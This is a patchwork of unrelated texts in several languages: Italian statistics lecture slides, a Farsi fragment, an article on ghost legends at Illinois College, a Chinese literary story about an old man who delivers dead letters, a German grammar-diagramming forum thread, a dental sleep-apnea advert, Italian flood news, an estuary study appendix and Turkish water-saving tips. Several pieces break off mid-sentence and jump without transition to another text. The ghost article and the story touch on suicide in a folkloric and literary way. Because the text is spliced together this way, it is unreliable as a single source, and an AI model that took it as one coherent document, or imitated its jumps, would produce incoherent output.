25 Due variabili categoriali: la tabella di contingenza 1/2In un’analisi statistica siamo spesso interessati a esaminare il comportamento simultaneo di due variabili qualitative: per esempio ci possiamo chiedere se esiste un legame fra il tipo di fondo (a capitalizzazione integrale o misto) e la particolare forma di commissione cui il fondo è assoggettato.La tabella di contingenza è una tabella a doppia entrata in cui le osservazioni relative a due variabili categoriche vengono rappresentate simultaneamente.
26 Due variabili categoriali: la tabella di contingenza 2/2Al fine di analizzare tutte le possibili relazioni esistenti fra le due variabili, è utile convertire le frequenze congiunte assolute in frequenze percentuali rispetto:Al totale complessivo (rappresentato nel nostro caso dai 194 fondi azionari dal campione)Al totale per riga (rispetto al numero di fondi a capitalizzazione integrale e al numero di fondi misti)Al totale per colonna (rispetto alle cinque tipologie di commissione)
27 Due variabili categoriali: diagrammi a barre Una rappresentazione grafica delle tabelle di contingenza può essere fornita dal diagramma a barre non in pila, che qui sotto viene visualizzato nella forma della frequenza assoluta.
28 RICHIAMI DI STATISTICA DESCRITTIVA E DI INFERENZA: SINTESI E DESCRIZIONE DEI DATI QUANTITATIVI
29 Misure di Posizione (o di Tendenza Centrale) Nella maggior parte degli insiemi di dati, le osservazioni mostrano una tendenza a raggrupparsi attorno a un valore centrale.Risulta in genere quindi possibile selezionare un valore tipico per descrivere un intero insieme di dati.Tale valore descrittivo è una misura di posizione o di tendenza centrale.Tipi di misure di posizione:MediaMedianaModaQuartili
30 Misure di posizione: la Media 1/3La media aritmetica (anche chiamata semplicemente media) è la misura di posizione più comune. Si calcola dividendo la somma dei valori osservati per il numero totale di osservazioni.
31 Misure di posizione: la Media 2/3Un esempio: studiamo i 17 fondi comuni azionari che prelevano le commissioni di commercializzazione direttamente dalle attività del fondo (Group = 1).La media si presenta come un “punto di equilibrio” tale che le osservazioni più piccole bilanciano quelle più grandi.Il calcolo della media si basi su tutte le osservazioni (X1, X2, X3, , Xn) dell’insieme di dati, proprietà questa che non è presentata da nessun’altra misura di posizione comunemente usata.
32 Misure di posizione: la Media 3/3Commento: quando usare la Media AritmeticaProprio perché il calcolo della media si basa su tutte le osservazioni, tale misura di posizione risulta influenzata da valori estremi.In presenza di valori estremi, la media aritmetica fornisce una rappresentazione distorta dei dati ed è pertanto opportuno in questi casi ricorrere ad altre misure di posizione.Se dal campione rimuoviamo il fondo Mentor Merger (rendimento = 10.0) che possiamo considerare come un outlier (dato anomalo), ricalcolando la media otteniamo un valore pari a 31,11.
33 Misure di posizione: la Mediana 1/2La mediana è il valore centrale in una successione ordinata di dati.Commento: La mediana non è influenzata dalle osservazioni estreme di un insieme di dati: nel caso di osservazioni estreme è quindi opportuno descrivere l’insieme di dati con la mediana piuttosto che con la media.REGOLA 1. Se l’ampiezza del campione è un numero dispari, la mediana coincide con il valore centrale, vale a dire con l’osservazione che occupa la posizione (n + 1)/2 nella serie ordinata delle osservazioni.REGOLA 2. Se l’ampiezza del campione è un numero pari, la mediana allora coincide con la media dei valori corrispondenti alle due osservazioni centrali.
35 Misure di posizione: la Moda La moda è il valore più frequente in un insieme di dati.A differenza della media, la moda non è influenzata dagli outlier.Tuttavia tale misura di posizione viene usata solo per scopi descrittivi, poiché è caratterizzata da maggiore variabilità rispetto alle altre misure di posizione (piccole variazioni in un insieme di dati possono far variare in modo consistente la moda).NOTA: un insieme di dati può non avere moda, se nessuno valore è “più tipico”.
36 Misure di posizione: i Quartili 1/2Mentre la mediana è un valore che divide a metà la serie ordinata delle osservazioni, i quartili sono misure descrittive che dividono i dati ordinati in quattro parti.REGOLA 1. Se il punto di posizionamento è un numero intero, si sceglie come quartile il valore dell’osservazione corrispondente.REGOLA 2. Se il punto di posizionamento è a metà tra due numeri interi, si sceglie come quartile la media delle osservazioni corrispondenti.REGOLA 3. Se il punto di posizionamento non è né un intero né a metà tra due numeri interi, una regola semplice consiste nell’approssimarlo per eccesso o per difetto all’intero più vicino e scegliere come quartile il valore numerico dell’osservazione corrispondente.
38 Misure di variabilitàUna seconda caratteristica importante di un insieme di dati è la variabilità: la quantità di dispersione presente nei dati.Due insiemi di dati possono differire o nella posizione o nella variabilità oppure sia nella posizione che nella variabilità.Tipi di misure di variabilità:VarianzaScarto Quadratico MedioCoefficiente di variazione
39 Misure di variabilità:la Varianza Sebbene il range sia una misura della dispersione totale e il range interquartile della dispersione centrale, nessuna di queste due misure tiene conto di come le osservazioni si distribuiscano o si concentrino intorno a una misura di tendenza centrale, come ad esempio la media.Varianza e la sua radice quadrata, lo scarto quadratico medio, invece sintetizzano la dispersione dei valori osservati attorno alla loro media.
40 Misure di variabilità: lo Scarto Quadratico Medio
41 Misure di variabilità: il Coefficiente di Variazione A differenza delle altre misure di variabilità, il coefficiente di variazione è una misura relativa, espressa come una percentuale e non nell’unità di misura dei dati.Il coefficiente di variazione, indicato con il simbolo CV, misura la dispersione nell’insieme di dati relativamente alla media.NOTA: Il coefficiente di variazione è particolarmente utile quando si confrontano le variabilità di due o più insiemi di dati che sono espressi in unità di misura diverse.
42 Il diagramma a “Scatola e Baffi” (o Boxplot) 2/3Il diagramma scatola e baffi o (o boxplot) fornisce una rappresentazione grafica dei dati sulla base dei cinque numeri di sintesi.Linea verticale al centro della scatola medianaLinea verticale a sinistra della scatola Q1Linea verticale a destra della scatola Q3Linea tratteggiata a sinistra minimoLinea tratteggiata a destra massimo
43 Il diagramma a “Scatola e Baffi” (o Boxplot) 3/3Per valutare la relazione che sussiste tra i metodi di analisi esplorativa dei dati, come il diagramma scatola e baffi, e le rappresentazioni grafiche, come i poligoni, consideriamo la Figura, nella quale sono riportati i diagrammi scatola e baffi e i poligoni relativi a quattro ipotetiche distribuzioni.NOTA: l’area sottostante a ciascuna curva è divisa nei quartili corrispondenti ai cinque numeri di sintesi su cui si basa il diagramma scatola e baffi.
44 Misure di sintesi descrittive per una popolazione 4/4Quando la distribuzione dei dati non è caratterizzata da una forte asimmetria e le osservazioni sono concentrate intorno a media e mediana, possiamo usare la cosiddetta regola empirica per esaminare la variabilità dei dati e per analizzare più approfonditamente il significato dello scarto quadratico medio.NOTA: Pertanto lo scarto quadratico medio ci aiuta a capire come le osservazioni si distribuiscono al di sotto e al di sopra della media, e a individuare e segnalare osservazioni anomale (gli outlier).
45 RICHIAMI DI STATISTICA DESCRITTIVA E DI INFERENZA: LA PROBABILITA’
46 La probabilitàLa probabilità rappresenta uno strumento indispensabile per poter utilizzare l’informazione contenuta nel campione al fine di fare inferenza su una popolazione più ampia.
47 Probabilità: definizione e tipi di approccio 1/2La probabilità può essere definita come il grado di verosimiglianza con cui un evento è destinato a verificarsi.La probabilità è una proporzione o frazione che varia tra i valori 0 e 1, estremi inclusi. Associamo il valore zero a un evento che non ha nessuna possibilità di verificarsi (evento impossibile) e il valore uno a un evento che si verificherà sicuramente (evento certo).Secondo l’approccio classico, nel semplice caso che ciascun risultato sia ugualmente probabile, la probabilità che un event
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awn, 资讯来源：CTV，图片来源：Pixabay）Some Believe That This Historic College May Be One Of The Most Haunted Schools In The Midwest. What Do You Think?
Picture Courtesy of Illinois College
By Troy Taylor
Illinois College was founded in 1829 by Reverend John M. Ellis, a Presbyterian minister who felt a "seminary of learning" was needed in the new frontier state of Illinois. His plans came to the attention of a group of Congregational students at Yale University. Seven of them, in one of the now famous "Yale Bands", came westward to help establish the College. It became one of the first institutes for higher learning in Illinois and the first two men to graduate from a college in state were Richard Yates, who became the Civil War governor of Illinois and later a U.S. Senator and Jonathan Edward Spilman. This second graduate composed the now-familiar music to Robert Burns's immortal poem, "Flow Gently, Sweet Afton". Both men received their baccalaureate degree from Illinois College in 1835.
Sturtevant Hall at Illinois College.
Nine students met for the first class on January 4, 1830. Julian Sturtevant, the first instructor and the second president, reported, "We had come there that morning to open a fountain for future generations to drink at." Shortly after, Edward Beecher left the Park Street Church in Boston, Massachusetts, to serve the new college as it first president. He created a strong college and retained close intellectual ties with New England. His brother, Henry Ward Beecher, preached and lectured at Illinois College, and his sister, Harriet Beecher Stowe, was an occasional visitor. His brother, Thomas, was graduated from Illinois College in 1843. Ralph Waldo Emerson, Mark Twain, Horace Greeley, and Wendell Phillips were among the visitors and lecturers in the early years.
In 1843 and 1845 two of the College's seven literary societies were formed. Possibly unique in the Midwest today, the societies have continued in their roles as centers for debate and criticism. Abraham Lincoln was one of many speakers appearing on the campus under the sponsorship of a literary society.
Illinois College also became heavily involved with the abolitionist movement as President Beecher took a very active role. At one point, a group of students was indicted by a grand jury for harboring runaway slaves. Illinois College was also a well-known station on the Underground Railroad and a number of tunnels can still be found under the college, leading to the Smith and Fayerweather houses on the campus.
In the years following the Civil War graduates contributed with distinction to the national scene. Among these was William Jennings Bryan, '81, who within 15 years was the Democratic candidate for the U.S. presidency in the race with McKinley. He continued with a prominent role in politics even after the election.
There were many other famous and prominent graduates of the school over the years and it has maintained an outstanding scholarly program.
Not surprisingly, it has maintained close ties to the supernatural world as well. Like with many other historic spots in Illinois, the events of the past have certainly left their mark on Illinois College. Many of these events still come back to "haunt" students and faculty members today and there are many who have encountered this ghosts of yesterday face-to face.
One place where strange events have been reported is in Beecher Hall, which was built in 1829. This two-level building is now used as a meeting hall for two of the school's Literary Societies, Sigma Pi and Phi Alpha. The Sig's meet on the upper floor and the Phi's meet in the lower part of the building. The majority of the encounters here seem to involve the groups who frequent the upper floor. The most commonly reported events are ghostly footsteps that can be distinctly heard in one room, always coming from another. If the witness follows the sound, then the footsteps will suddenly be heard in the other room instead. Years ago, this was a medical building and cadavers were stored on the upper floor. Some believe that this may explain the ghostly activity.
Beecher Hall at Illinois College.
Legend on campus has it that the students here were not actually supposed to have the cadavers that were secreted away in the building. However, they were so dedicated to collecting medical knowledge that they stole them from local hospitals and cemeteries, introducing the art of "body snatching to Illinois College. The corpses were hidden in the attic until the stench of decaying flesh alerted college officials to their presence.
Other legends claim that the ghost here is that of Williams Jenning Bryan, who has returned to haunt his old school. He was a member of Sigma Pi and was often in the building during his years at Illinois College. There are others who say that it might be Abraham Lincoln's ghost instead. He was an honorary Phi Alpha and while he did not attend the school, he did speak at Beecher Hall on occasion. In addition, William Berry (Lincoln's partner at new Salem), William H. Herndon (his law partner), and Ann Rutledge's brother, David, all attended Illinois College.
Another allegedly haunted spot on campus is the David A. Smith House, which was built in 1854. Today, the structure is home to three of the women's Literary Societies, the Gamma Deltas, the Chi Betas and the women of Sigma Phi Epsilon. There is a parlor for all of them but the Delts use a room on the main floor while the Betas and the Sig Phip's have rooms on the second floor. The attic is used by all of the groups but there is also a dining room, a kitchen and an apartment at the back of the house.
The Smith House at Illinois College.
There are several versions of the historic legend concerning the ghost in this house, but all of them claim that she is the daughter of the original owner and that her name was Effie Smith. Basically, Effie was being courted by a young man from town and they became engaged. When he proposed to her, he gave her a diamond ring and she was said to have scratched it against her bedroom window to see if the diamond was real. When she realized that it was, she etched her signature into the glass and her name remained for many years afterward. The window has recently been removed and this small and unusual piece of history has been lost.
Then, the story begins to take different paths. In one version of the story, David Smith was very disapproving of his daughter's new fiancee and he literally locked Effie into a closet one day when the man came calling. Fearful of her father's wrath, the young man hid himself in a small room that was only accessible from the attic. For some reason, he nailed himself in to escape from David Smith and he later died there. According to students who have been in the attic, the nails are still visible there today, nailed from the other side of the door! When Effie learned of her lover's cruel fate, she threw herself from an upstairs window and died in the fall.
In the second version of the story, Effie's young man went off to fight in the Civil War. Every day, Effie climbed up to the attic and watched for him to return. When she later learned that he had been killed in battle, committed suicide by once again, jumping out of the window.
Another variation of the legend has Effie being jilted by her lover and she again commits suicide. Regardless of what happened, the story stands that she killed herself and has since returned to haunt the house.
Effie's rocking chair is still located in the attic and the stories say that if you move the chair away from the window (where it sits, facing out), leave the attic and then return later, the chair will have returned to its original position. This window is located in a storage area for the Chi Beta society and every year, they frequently test the chair and discover that the story is true! One young woman even walked into the room one day and the door suddenly slammed closed behind her. It is also not uncommon for cold air to suddenly fill this room, even though for years, the windows were painted shut. It was said that ice cold wind would often come from the window with Effie's name etched on the glass.
Another interesting feature of this building is the tunnel that once exited from the dirt basement. This tunnel was once supposed to have connected to other buildings on campus and was said to have been used during the years of the Underground Railroad. As operations connected with this abolitionist system were always kept secret, and no records exist, no one knows for sure if the stories are true. Today, the tunnel is boarded up and remains only a curiosity of times gone by.
Another reportedly ghostly location is Whipple Hall, which was constructed in 1882. The spectral occupant of this place is known only as the "Gray Ghost". The upper part of the building serves as a meeting hall for the Alpha Phi Omega society, for the Eta Sigma chapter, which is a national service fraternity, and as the location of the security office. The lower part of Whipple is the meeting hall of the Pi Pi Rho Literary Society. The basement of the building is only accessible from the outside and is divided in half. One side of it was once a classroom when this was Whipple Academy, a college prep school. Strangely out of place chalkboards still remain on the walls.
Whipple Hall at Illinois College.
Perhaps the most famous sighting on campus of the "Gray Ghost" occurred to a girl who was leaving a Pi Pi Rho party one night and had to retrieve something from the Alpha Phi Omega hall. She had been drinking (but later insisted that she was not drunk) before she started climbing the curved staircase. As she reached the middle of the curve of the stairs, she looked up to the top landing and saw a man standing there. He was all dressed in gray and she quickly realized that he was not a security officer. As she peered a little closer into the shadows, she also realized something else... that he had no face! She began screaming and ran back down the staircase and out of the building. Due to the noise of the party, no one heard her though and the revelers wouldn't learn of the strange experience until later.
A room that is located on the third floor of Illinois College's Ellis Hall is also rumored to be infested with ghosts. According to reports, no one lives there is they don't have to. Rumor has it that a girl hanged herself in the closet there around 1986 after not getting a bid from a Literary Society. It is said that doors open and close on there own here, appliances and radios turn on and off and that windows have a habit of going up and down under their own power. Or at least that's one version of the story....
Other students and alumni of Illinois College have contacted me to say that the girl who haunts room 303 was actually a young woman named "Gail", who died of natural causes in this room. Apparently, her parents were aware that she was terminally ill when she went to school but as attending college had always been her dream, they allowed her to go anyway. She died while living in Ellis Hall and a small plaque is mounted on the door of the room in her memory. It is said that her ghost is a mischievous one, opening doors and hiding things. Local legend has it that third floor residents have often said that if they lose anything, they will ask Gail aloud to return it. The missing item is usually found a short time later.
A former student of the college, who lived for two years in Ellis Hall, wrote to tell me of experiences that she had while living below the "haunted room". She said that she often heard knocking sounds coming from the other side of the wall, even though there was nothing there. It was the outer wall of the building and there were no trees nearby.
There are other places too, but stories from some of these sites are much more sketchy. One of them is Fayerweather House, a residence hall for women. It has been said that windows and doors operate on their own here and that lights turn on and off without explanation. Perhaps most strange are the stories of "grave-shaped" depressions that sometimes appear in the dirt floor of the basement. Some have suggested that perhaps the building may have been constructed over a burial ground, but no one really knows for sure.
Fayerweather House at Illinois College.
I have been informed that the girl who allegedly hanged herself in the closet once resided in this house. In fact, she committed suicide in the closet of Room #5, which is located on the stairway landing between the first and second floors of the house. "Susie", as she has been called, is noisy and can often be heard walking around the house, opening doors in the middle of the night and scratching on walls. One correspondent informed me that Susie was once blamed for the violent removal of a clothing rod from the wall. They could never explain how this had happened.
The stories also maintain that the attic of the Fayerweather house has been fully converted into dorm rooms, but they are never used. It has been said that the rooms were closed when too many strange things started to happening to the students who lived there. One of my correspondents had a sister who lived in Fayerweather and told her of doors slamming and lights turning on and off, as well as objects that would fly about in the rooms.
Another site is Sturtevant Hall, one of the most famous spots on campus. Recent stories say that a ghostly young man in a Civil War era uniform is sometimes seen here. In addition, it is nearly impossible to find someone who will spend the night in the north tower of the building. It has been said that there are too many sounds and noises here to get anyone to do so. Before it was made into classrooms, the building housed the Pi Pi Rho Literary Society. Members of the society still maintain that toilets in the hall often flushed by themselves.
Crampton Hall, which was built in 1873, is also believed to be home to a ghost. The residence was built to house 69 men and it was named in honor of Rufus C. Crampton, a former professor and president of the college. According to the story, there was a male student who left a party one night and was later found in his room (again) having hanged himself in the closet. However, it was always said that he was found hanging in such a way that he could not have done it himself! His former room is now believed to be haunted.
And apparently closets in Crampton Hall are as mysterious as the stories that revolve around them. One student told me that one day three of the residents were waiting on a fourth friend to get ready so that they could all go somewhere together. Finally, they tired of waiting and went to check on him, only to find that he was hanging upside in the closet, stark naked, and so frightened that he was almost incoherent. The student went on to say that he lived in this building for one semester and "would never live there again". One night, he fell asleep with his lights on but was awakened by a noise. When he looked up, he saw a man standing there looking at him. The man quickly turned and vanished into the closet.
Another resident haunt can be found in the McGaw building. This is a performing arts building and it has been reported that you will never find anyone alone in the auditorium alone here at night. The place is allegedly haunted by the ghost of a man who is seen wearing clothing from the 1940's. He is usually seen out of the corners of the eyes of those who are on stage.
Rammelkamp Chapel allegedly has a haunted basement as well. Some of the students tell stories of classroom doors and that open and then slam shut, sometimes in the middle of lectures. The classrooms are located on both sides of a long hall here and by looking out the door of one of them, a person can see into the classroom across the hall. One day, during a class, a student reported became quite upset when she looked across the hall and spotted a woman in white in the adjoining classroom. This would not have been so strange had the woman not vanished before her eyes!
© Copyright 2000-2010 by Troy Taylor. All Rights Reserved.
Special Thanks to the Students at Illinois College who have already assisted with this Project!
For more information about Troy Taylor, visit his website:"… در جلسه شورای دفاع مطرح کردم که اگر شهر را بگیرند، این بچه ها شهید خواهند شد خسارت شه
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是有非见局长不可的事，是糊弄不走拒绝不了的。青年人朝着一个什么方向都不是的空中一指：那儿。老人楼上楼下左边右边花了十七八分钟时间，在第七与第八之间没有房号的房间里的第七十八号茶杯前终于找到邮局局长，在这个不大的邮局里。老人气喘吁吁掏出自己的证件，自我介绍说他是鼠街中心小学的退休教师，退休的时候正好老伴儿又去世了，他活着没有了希望，没有人再需要他，他希望局长能给他一份工作，他不要钱只是义务劳动。
局长先是漫不经心地听着，后来他被老人眼角里混浊的水花以及他那种为别人所掌握的悬而未定的希望感所造成的抽搐的嘴角所感动，“那么你能做什么呢?”
老人立刻来了精神，说：“我可以投送那些无法送达的死信。”
局长很是痛快，“好了，就这样吧，每月我们发给你四十元就算补助费。”
“谢谢，谢谢!”老人一下子充实起来，轻盈起来，光亮起来。步伐铿铿然，螺旋下楼。手里攥着第一封将要去送的死信。
这是两年前一个很晴朗的午日所发生的事。就在那天，忽然之间，老人那无所依恃于世界又无人需要于他的孤独感，在那个午日的矮矮的两层楼梯的旋转中消失殆尽。
生命又回到老人的躯体上，他觉得自己又活得充实而有意义起来，像他当年在鼠街中心小学与孩子们在一起时一样，尽管“b、p、m”“人与入字的不同”，他讲了四十二年之久，但他从没有重复感，每一次讲都如第一次。就像一个爱着一个女人的男人看见太阳每天都是新的一样，就像热爱生命的老赫尔曼·黑塞认为我们的生命永远是出生后的第一天一样。
可是，又在忽然之间，黑暗降临了。就是现在。老人正坐在两年前他在第七与第八之间没有房号的房间里的第七十八号茶杯前找到的邮局局长面前。
“你应该在家里休息，人应该服老，腿脚怎么也是不如年轻时候。”局长表情沉痛，咬着牙说出了这几句话，他知道这个决定对老人意味着什么。
老人把头低埋在两腿上，腰骨弯塌下来，一动不动，像一只风干了的人形标本。一行浊混的老泪在他那被皱纹纵横切割的脸颊上左右徘徊，绵延而下，终于掉在老人肥肥的裤脚上。
半个月前，老人在邮局门外的高台阶上摔了一跤，右膝擦破了皮肉，浓黯的血滴顺着小腿爬到脚面上。换在年轻人身上，这点伤本不算什么，可是老人的右膝却一日日鼓胀起来，髌骨浮肿起来。医生说是软组织损伤所造成的积液，需卧床十天。
“请你能理解我们，我们必须对你负责任。”邮局局长接着说。他看了看老人，从抽屉里取出一个口袋，“两年来你为我们工作，我们非常感激!这是给你的一点心意。”
老人头也没抬，生命的意义都没有了，心意还算什么呢。
局长重重叹了一声，又从抽屉里取出一样东西，“这是最后一封死信。”
老人抬了头，看了看那牛皮纸信封上写的字：
北京鼠街每天太阳初升时分开窗眺望的女人收
他的眼睛亮了一下，随即又淹没在盛满眼眶的绝望里。
这时候，我并没有无端消失。这两年中，在老人从送达死信的重任中重新找回生命的意义的时候，有一天，我失去了我生命中最为珍贵的。那是一个普通得令人无法回忆出任何天气特征的下午，我等待了很久很久的一个人忽然站在我面前，这久别而去的人(就是那位被我想像加工而成的令我迷恋的男人)终于从一个遥远的国度回到我身边，我激动又委屈地流着泪，一句话也说不出来。他轻轻抚摸着我瘦削的肩，脸颊埋在我的长发和肩胛骨里蹭来蹭去，像是从未离开过我、也从未遗忘过我一样。我便把脊背像猫一样弓起来，低低呻吟一声。我知道他永远不会完全属于我一个人，正像我的精神不能完全属于他一样。无论世人承认抑或不承认，我们无法做到一生只爱一个男人或女人，而那些爱的确是真诚的，只要能够称作爱。这是事实。性关系并不是爱的全部关系。即使这样，我仍然为他奉献了巨大代价。就在这天，他的到来，使那潜藏在我身体里的旷日已久的障碍，终于彻底形成了。我失去了同得到的一样珍贵的东西。这世界总是很公平。后边你将会知道这一切。
还是先把我放下，继续讲老人的故事。
老人那天蹒跚地走出邮局不大的大门，手里攥着那封死信。他心里郁郁地盘算起来，最后一封死信!果真到了最后的时刻吗?他想起曾经在一份报纸上看到的一幅漫画，画面上一个活得非常带劲的男人说：“我有太多需要活下去的理由，要付房子的贷款，车子的贷款，录像机的贷款……”当时，老人立刻就把这个问题摆在自己面前让自己回答：我有太多需要活下去的理由，我每天或每两天就会得到一封死信，然后要设法把它送到希奇古怪的死信的主人手里；有一天也许我自己也会得到一封什么人寄来的死信。老人觉得无论去送达陌生人的死信，还是等待一封寄给自己的未知的死信，都是活下去的伟大理由。而现在，这个理由终于到达了存在的边缘，送完这封死信，理由就不复存在了。
最后的时刻到了。最后的时刻果真到了。
老人打开家门，闷了一天的房子有一股霉味，墙壁由于连日阴雨而浮了一层绿茸茸的东西。在他进屋的一瞬间，啪啦一声重重的脆响溅在地上，一堆细细碎碎的白玻璃在响声里摊在地上。老人迟缓地把目光落在那堆碎玻璃上时，是在事情已经发生半分钟之后。老伴儿的遗像埋没在碎玻璃里挣扎着朝他微笑，长长的奇怪的笑容从刚才那一声爆破声里扭曲地绽出，在多种角度的碎玻璃的折光里变了形。墙壁的潮湿使挂着镜框的贴钩连着一层白白的灰皮一同脱落下来。老人弯下身，受伤的右膝发出铁器生锈一般吱吱的叫声，他抚去那笑容上闪闪烁烁的白玻璃，但是，那长长的穿越了两年多岁月的微笑终于在破碎声中折断。他把老伴儿划破的遗像拾起来，平放在床上，不知所措。
他在房间里转了几圈，然后便开始像往常那样找东西。找什么他自己并不清楚，反正他找了起来。两年来，老人的家什零乱不堪，找什么什么准找不到，而不找什么什么准在那儿等着人去拿。所以老人已经习惯了当想找什么时就不想找到什么的思维方式，那样一来，不想找到什么什么兴许反倒自己跳出来。可是，这会儿老人脑子里却一片空白，不知道自己要找什么，但还是顽强地找起来。他先是在堆放铁钉、改锥、瓶盖起子一类小东西的抽屉里翻到一根麻绳，他犹豫着打了个死结，套了床翅上试试，结果一拉，那绳子就断了。老人失望地把它丢在一边，又去找。他走到卫生间，卫生间里有点昏暗，他看看悬在墙角半空的角柜，角柜上堆满雪花膏、梳子、刷子之类的小用品，老伴儿活着的时候，那些小用品曾经非常有活气，晶亮着绚丽着呼唤主人。现在，它们覆盖在一层灰蒙蒙的尘埃之下黯然失色。他打开一瓶雪花膏，那膏状物已经干枯发黄，他嗅了嗅，隐约还有一丝香味。一种想把这个干枯发黄的东西吃下去的欲望占领了他，他犹豫着，想着自己到底在做什么。忽然，一件小东西撞入他的眼帘，那是一个薄薄的刮胡子的刀片。他恐惧地颤抖起来，一个场面随之而生：淋淋鲜血在刀片的细微的切割声里从动脉血管中喷射出来，房顶、墙壁一时间爆满血花，如注的血浆像紫罗兰猛然绽开一
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...
The first sentence in the Grimm Brothers' "Frog Prince".
Who goes first?
You make it look so easy!
I would have put "in den alten Zeiten..." under "lebte" because I think of it as answering "when?" which I consider to normally fall within the realm of adverbs.
"How, when, where and why" I use as the tests for adverbs.
"What kind of, how many, whose, and which one" I use as tests for adjectives.
These tests do no always work, but I use them as a starting point.
Yes, it works. Here I think we arrive at interpretation of what is being said.
On Elizabeth O'brien's website under "Diagramming Longfellow 3" I posted the following quote (which you might have fun with):
"The murmuring pines and the hemlocks, bearded in moss and in garments green, indistinct in the twilight, stand like Druids of Eld with voices sad and prophetic, stand like harpers hoar with beards that rest on their bosoms. "
Now, is "pines" only modified by "The" and "murmuring" or does it share all that modification with "hemlocks". It comes down to interpretation. I even have thought about the botany envolved. Would moss grow on white pines and would hemlocks murmur? The ecosystem envolved is Nova Scotia.Have you ever woken up feeling tired, even after a full night’s sleep? Do you snore loudly or wake up gasping for air? If so, you may be one of the millions of people worldwide who suffer from sleep apnea.
Sleep apnea is a medical condition in which a patient’s breathing is repeatedly interrupted during sleep. These interruptions, known as apneas, can last seconds or minutes and occur many times throughout the night, causing you to partially wake up and disrupt your sleep.
Sleep apnea can lead to various health problems, including high blood pressure, heart disease, and diabetes, and can also result in daytime sleepiness, fatigue, and impaired cognitive function.
At Sylvan Lake Dental Centre, we strive to provide our patients with quality dental care. We offer you and your family members sleep apnea treatments in Sylvan Lake .
Signs of sleep apnea
Sleep apnea is a sleep disorder that a dentist in Sylvan Lake can treat. It is commonly known by pauses when breathing or shallow breathing during sleep. These pauses in breathing can happen many times during the night and cause disrupted sleep and other health problems. The main signs of sleep apnea are
- Noisy snoring during sleep
- Gasping or choking during sleep
- Pauses in breathing during sleep
- Daytime fatigue and sleepiness
- Morning headaches
- Difficulty concentrating and memory problems
- Irritability and mood change
- Dry mouth or sore throat upon waking up
- Frequent waking up during the night to urinate
- Restless sleep and tossing and turning
- High blood pressure
- Night sweats
If you experience any of the above symptoms, contact our Sylvan Lake family dentist to evaluate your oral health and diagnose any sleep disorders. Studying your sleeping patterns involves measuring your breathing, oxygen levels and other factors while you sleep.
While sleep apnea is relatively common, it often goes undiagnosed, and many people may not even be aware that they have it. It’s important to recognize the signs and symptoms of sleep apnea and visit our Sylvan Lake dentist to treat you for sleep apnea. Treatment options in Sylvan Lake include lifestyle changes, breathing devices, and dental procedures, which can help manage the symptoms and improve sleep quality and overall health.
How can a dentist near you help your sleep apnea?
Sylvan Lake dentists can be important in treating sleep apnea near you. Our Sylvan Lake dental team provides custom-made oral appliances to keep the airway open during sleep by repositioning the jaw and tongue. The oral appliances our Sylvan Lake dental office offers are typically recommended for mild to moderate cases of sleep apnea.
Our dedicated team works with other healthcare professionals to provide you with the best sleep apnea treatment plan in Sylvan Lake. Other ways to treat sleep apnea could include lifestyle changes, such as weight loss and smoking cessation, as well as other treatments like Continuous positive airway pressure (CPAP) therapy or oral procedures in Sylvan Lake.
Schedule a consultation in our Sylvan Lake dental office.
If you are experiencing symptoms of sleep apnea, such as loud snoring, gasping or choking during sleep, or daytime fatigue and sleepiness, it’s important to seek treatment from a healthcare provider, including our Sylvan Lake dentists. Our dedicated team will work with you to determine the most appropriate treatment for your specific needs and can collaborate with other healthcare providers to develop a comprehensive treatment plan.
Untreated sleep apnea can cause serious health problems, including high blood pressure, diabetes, and heart disease. If you suspect that you may have sleep apnea, do not hesitate to contact our Sylvan Lake dental office to get the best dental care near you.Pioggia in via Penne a Chieti Scalo vuol dire allagamenti. Questa mattina l'arteria nella zona industriale sembrava infatti lo scenario di un'alluvione. L'acqua ha raggiunto anche i marciapiedi.
"La situazione è drammatica - commenta Ines, che ha fotografato la zona - La strada è piena di buche ed è impraticabile, il manto stradale ormai inesistente. Via Penne è abbandonata poiché non interessa a nessuno".Appendix A. Description of the Grand Bay NERR study area.
Ruppia beds occur in ~ 0.5 km2 patches in Middle Bay at depths from 0.5 m to 2.0 m; and SAV density and coverage vary annually with physical conditions. The annual mean surface water temperature of Middle Bay is 22°C and salinity typically ranges from 10 to 30 psu (Mississippi Department of Marine Resources 1998). Nutrients enter into the estuary primarily via surface runoff during rainfall events from adjacent salt-marsh habitat through Bayous Cumbest and Heron. Water column nitrogen concentrations ranged from 0.11 to 0.70 µM in the summer of 2001. Grass shrimp was clearly the most conspicuous and abundant nekton taxon within SAV habitat in the study area. However, shrimp abundance varies seasonally with predation, reproductive cycle and density and with the presence of SAV and emergent grasses. Grass shrimp densities sampled by kicknet ranged from 14 to 196 m2 within surrounding Ruppia habitat during the experimental periods; though actual densities were likely considerably higher.
Mississippi Department of Marine Resources. 1998. Grand Bay National Estuary Research Reserve Final Environmental Impact Statement/Reserve Management Plan.Sifonun İçine Su Dolu Pet Şişe Koyunca Bakın Ne Oluyor - Son Dakika
Sifonun İçine Su Dolu Pet Şişe Koyunca Bakın Ne Oluyor
25.04.2016 08:31
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Dünyayı daha yaşanılır bir hale getirmek ve bizden sonraki nesiller için da hayatı kolaylaştırmak için enerji ve su tasarrufu büyük önem taşımaktadır. Peki, su tasarrufu nasıl yapılır?
Sifonun içine ufak bir plastik şişe koyarsanız hazneye daha az su dolmasını sağlar ve su tasarrufu yapabilirsiniz.
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Su faturanızı mutlaka takip edin. Su tesisatına bir su ölçer taktırabilirsiniz.
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Çiçeklerinizi sabah veya akşam saatlerinde sulayarak suyun buharlaşmasını minimuma indirebilirsiniz.
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Dişlerinizi fırçalarken mutlaka suyu kapatın.
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Kettle'ı her seferinde doldurup ihtiyacınızdan fazla su kaynatmayın. Hem elektrik hem de su tasarrufu yapabilirsiniz.
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Yaz günleri musluktan akan su fazla soğuk olmaz. Su soğuyana kadar bekleyeceksiniz akan suyu bir şişeye doldurun ve daha sonra temizlik için kullanın.
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Çamaşır makinesini yarım çalıştırmayın. Dolmasını bekleyin ve sonra çamaşır yıkayın.
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Yağmur sularınının aktığı olukların altına birer kova yerleştirirseniz bu suyu bahçenizi sulamak için kullanabilirsiniz.
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Muslukların ucuna yağmurlama sistemi gibi aparatlar takarsanız daha az su ile çok su hissi yaratabilirsiniz.
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Bahçenize fazla su istemeyen bitkiler dikin. Bu sayede daha az su ile bahçenizi güzelleştirebilirsiniz.
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Business Insider sitesi, Reddit kullanıcıları tarafından paylaşılan tasarruf tavsiyeleri arasından öne çıkanları sıraladı. İşte tasarruf etmenin 35 yolu...
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1. Evde yemek yapın. Akşam yemeğini dışarıda yemek masraflarınızı artırır.
